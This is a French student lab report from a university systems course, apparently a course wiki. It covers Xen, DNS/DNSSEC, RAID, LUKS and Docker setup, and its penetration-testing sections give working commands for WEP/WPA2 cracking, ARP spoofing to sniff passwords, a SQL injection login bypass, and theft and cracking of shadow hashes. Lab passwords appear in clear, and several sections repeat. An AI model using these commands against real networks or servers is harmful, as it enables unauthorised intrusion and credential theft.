En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

A la fin de cette partie la machine sur chassiron est capable de ping google.

==== Clés SSH ====

Génération d’une clef asymétrique :
ssh-keygen -t rsa

Installation de la clef publique sur une cible :
cat .ssh/id_rsa.pub | ssh cible "cat >> /root/.ssh/authorized_keys2"

A FINIR

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisé.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

TP sysres IMA5sc 2020/2021 G5

2020-12-20T10:42:48Z

Psanchez : /* Configuration de nos serveurs internes */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

